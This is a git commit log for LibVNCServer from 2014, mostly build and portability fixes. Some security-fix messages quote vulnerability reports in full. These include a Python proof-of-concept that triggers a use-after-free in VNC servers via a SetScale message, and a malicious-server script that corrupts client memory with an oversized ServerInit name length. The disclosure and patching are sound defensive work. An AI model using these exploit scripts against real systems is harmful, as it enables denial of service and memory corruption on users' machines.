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* | | autogen.sh: pass cmdline params to configure call.Christian Beier2014-12-301-1/+1
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* | | Merge pull request #49 from maxnet/masterChristian Beier2014-12-294-5/+8
|\ \ \ | |/ / | | / | |/ |/| Fix libva related compile errors
| * Fix compiler warnings libvncclient + gtkvncviewerFloris Bos2014-12-292-2/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Fixes the following compiler warnings. gtkvncviewer: == CC gtkvncviewer-gtkvncviewer.o gtkvncviewer.c: In function ‘GtkDefaultLog’: gtkvncviewer.c:591:2: warning: format not a string literal and no format arguments [-Wformat-security] fprintf (stdout, buf); ^ == libvncclient: == CC rfbproto.lo In file included from rfbproto.c:2376:0: zrle.c: In function 'HandleZRLE8': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile8' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2385:0: zrle.c: In function 'HandleZRLE16': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile16' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2387:0: zrle.c: In function 'HandleZRLE15': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile15' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2396:0: zrle.c: In function 'HandleZRLE32': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile32' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2398:0: zrle.c: In function 'HandleZRLE24': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ rfbproto.c:2364:22: note: in definition of macro 'CONCAT2' #define CONCAT2(a,b) a##b ^ zrle.c:37:24: note: in expansion of macro 'CONCAT2E' #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2401:0: zrle.c: In function 'HandleZRLE24Down': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Down' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:40:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down) ^ rfbproto.c:2366:24: note: in definition of macro 'CONCAT3' #define CONCAT3(a,b,c) a##b##c ^ zrle.c:40:24: note: in expansion of macro 'CONCAT3E' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ In file included from rfbproto.c:2404:0: zrle.c: In function 'HandleZRLE24Up': zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Up' differ in signedness [-Wpointer-sign] int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight); ^ zrle.c:43:33: note: expected 'uint8_t *' but argument is of type 'char *' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up) ^ rfbproto.c:2366:24: note: in definition of macro 'CONCAT3' #define CONCAT3(a,b,c) a##b##c ^ zrle.c:43:24: note: in expansion of macro 'CONCAT3E' #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up) ^ zrle.c:79:12: note: in expansion of macro 'HandleZRLETile' static int HandleZRLETile(rfbClient* client, ^ == Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
| * Fix libva related compile errorsFloris Bos2014-12-292-3/+6
|/ | | | | | | | | | | | | - Make h264.c compile with recent libva version by including va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when --with-libva was specified, while actual behavior is to build it by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
* Add VNCpp to projects using LibVNC.Christian Beier2014-10-311-0/+4
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* Update ChangeLog for 0.9.10.Christian Beier2014-10-211-0/+839
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* Update NEWS.Christian Beier2014-10-211-0/+1
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* Update comments regarding rfbClientConnectionGone().Christian Beier2014-10-211-2/+3
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* Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.Christian Beier2014-10-211-2/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Reported by Ken Johnson <Ken.Johnson1@telus.com>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger a free. return; at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height); if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))] PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7])) crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port> [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
* Merge pull request #43 from maksqwe/fix_rfbSelectBoxdscho2014-10-141-1/+1
|\ | | | | Fix selData.buttonWidth calculation
| * Fix selData.buttonWidth calculationMaks Naumov2014-10-141-1/+1
|/ | | Operator "+" has a higher priority than "? :"
* Fix possible libvncclient ServerInit memory corruption.Christian Beier2014-10-101-1/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client. Field Size --------------------------------- name-length [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02" conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01" conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel = 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding = "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF + "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString ) c.close()
* Fix potential memory corruption in libvncclient.Christian Beier2014-10-101-0/+7
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
* Update NEWS for 0.9.10.Christian Beier2014-10-091-0/+23
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* Update AUTHORS.Christian Beier2014-10-091-1/+3
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* Merge pull request #42 from LibVNC/autotools-fix-revisiteddscho2014-10-074-0/+1114
|\ | | | | Add autoconf macros that might not be installed with a usual autotools setup
| * Ship the required macros in the m4/ directory.Christian Beier2014-10-074-0/+1114
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This is recommended practice as per https://www.gnu.org/software/automake/manual/html_node/Local-Macros.html. It fixes the problem that arose when one of the maintainers could not build LibVNCServer after https://github.com/LibVNC/libvncserver/pull/38 was merged. Symptoms included checking whether make sets $(MAKE)... yes ./configure: line 2481: syntax error near unexpected token `rfb/rfbconfig.h' ./configure: line 2481: `AX_PREFIX_CONFIG_H(rfb/rfbconfig.h)' until autoconf-archive was installed (which was a previously unmentioned requirement for Pull Request #38) – this is not always an option, in particular when the project needs to be built using a system-wide autoconf installation that cannot be modified easily by the developer.
* | Add back a working autogen.shJohannes Schindelin2014-10-071-0/+4
| | | | | | | | | | | | | | | | There was no reason to get rid of the convenient script. Most developers who are not in love with autoconf fail to remember that autoreconf invocation, therefore it is better to have something working in place. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
* | Fix stack-based buffer overflowNicolas Ruff2014-10-071-1/+2
| | | | | | | | | | | | | | There was a possible buffer overflow in rfbFileTransferOffer message when processing the FileTime. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
* | Merge pull request #41 from newsoft/masterdscho2014-10-072-9/+52
|\ \ | | | | | | Fixing 2 security issues
| * | Fix multiple stack-based buffer overflows in file transfer featurenewsoft2014-10-061-8/+30
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| * | Make sure that no integer overflow could occur during scalingnewsoft2014-10-061-1/+22
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* | Add libvncclient/h264.c to dist tarball.Christian Beier2014-10-061-1/+1
| | | | | | | | Otherwise the sources from a 'make dist' package wouldn't compile.
* | Really add empty m4 subdirectory.Christian Beier2014-10-031-0/+1
| | | | | | | | This change kinda got lost with the last commit re-splitting.
* | Merge pull request #38 from LibVNC/autotools-fix-revisitedChristian Beier2014-10-0213-14227/+15
|\ \ | |/ | | Autotools fix revisited.
| * INSTALL and ltmain.sh need those leading slashes.Christian Beier2014-10-021-2/+2
| | | | | | | | .dirstamp, OTOH, is to be expected in several subdirectories.
| * add a few more ignoresBrian Bidulock2014-10-021-0/+3
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| * removed autogen.shBrian Bidulock2014-10-021-57/+0
| | | | | | | | - no longer applicable: use autoreconf -fiv
| * Remove autotools-related files that will get installed by autoreconf -i.Christian Beier2014-10-023-14161/+0
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| * Use an m4 script subdirectory, fix automake init and two macro names.Brian Bidulock2014-10-022-3/+6
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| * Rename obsolete INCLUDES to AM_CPPFLAGSBrian Bidulock2014-10-026-6/+6
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* | Update noVNC HTML5 client to latest version from ↵Christian Beier2014-10-0230-5951/+6797
| | | | | | | | https://github.com/kanaka/noVNC.
* | Close unclosed comments ;-)Johannes Schindelin2014-09-301-2/+2
| | | | | | | | Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
* | Merge pull request #36 from danielgindi/masterdscho2014-09-301-0/+2
|\ \ | | | | | | A forgotten `#ifdef WIN32` broke UNIX build.
| * | A forgotten `#ifdef WIN32` broke UNIX build.Daniel Cohen Gindi2014-09-301-0/+2
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* | Merge pull request #33 from danielgindi/masterdscho2014-09-3014-30/+327
|\ \ | |/ |/| More MSVC adjustments, now focuses on the libvncserver
| * Signal is a fundamental UNIX function, and must be omitted for any windows ↵Daniel Cohen Gindi2014-09-201-1/+1
| | | | | | | | compilation
| * These are UNIX headers, and are not available on MSVCDaniel Cohen Gindi2014-09-201-0/+5
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| * Those are generally the windows headers, not just MinGWDaniel Cohen Gindi2014-09-201-2/+2
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| * On windows, use the Win32 calls for directory enumerations.Daniel Cohen Gindi2014-09-201-3/+78
| | | | | | | | We also do not need the conversion between UNIX values to Windows values in the RTF_FIND_DATA struct, as we already are on windows.
| * Generally adjusting headers for compiling on windows without the mixing of ↵Daniel Cohen Gindi2014-09-204-1/+19
| | | | | | | | Winsock 1 and 2.
| * Just use a macro to bridge to the Win32 version of `mkdir`Daniel Cohen Gindi2014-09-201-5/+6
| | | | | | | | The additional compat_mkdir function was not necessary at all.
| * Use correct `winsock2.h` version header instead of winsock.h.Daniel Cohen Gindi2014-09-201-2/+4
| | | | | | | | | | | | `windows.h` is referring to `winsock.h` (unless the `WIN32_LEAN_AND_MEAN` is defined). The structs used in this header are defined in `winsock2.h` or in `winsock.h`, but we are using Winsock2 of course! So we have to include winsock2.h and refrain from including windows.h here
| * Fixed a violation of the C89 standard ("declarations must come before ↵Daniel Cohen Gindi2014-09-203-10/+16
| | | | | | | | instructions")
| * A windows version for directory enumerationsDaniel Cohen Gindi2014-09-201-0/+147
| | | | | | | | Basically taken from https://github.com/danielgindi/FileDir with some adjustments
| * MSVC also has the __FUNCTION__ predefinedDaniel Cohen Gindi2014-09-201-1/+1
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| * `CreateDirectory` might clash with the `CreateDirectoryA`/`CreateDirectoryW` ↵Daniel Cohen Gindi2014-09-202-1/+13
| | | | | | | | macros on MSVC
| * Fail when NULL is passed to CreateFileListInfo()Daniel Cohen Gindi2014-09-201-2/+6
| | | | | | | | Passing NULL to sprintf() would most likely crash the program.
| * `strings.h` and `resolv.h` are not available on MSVC, and some POSIX ↵Daniel Cohen Gindi2014-09-206-2/+29
|/ | | | | | functions are renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a macro mapping to the _underscored version of MSVC.
* The HAVE_X11 define is not there anymore, but we don't need it either.Christian Beier2014-09-091-5/+1
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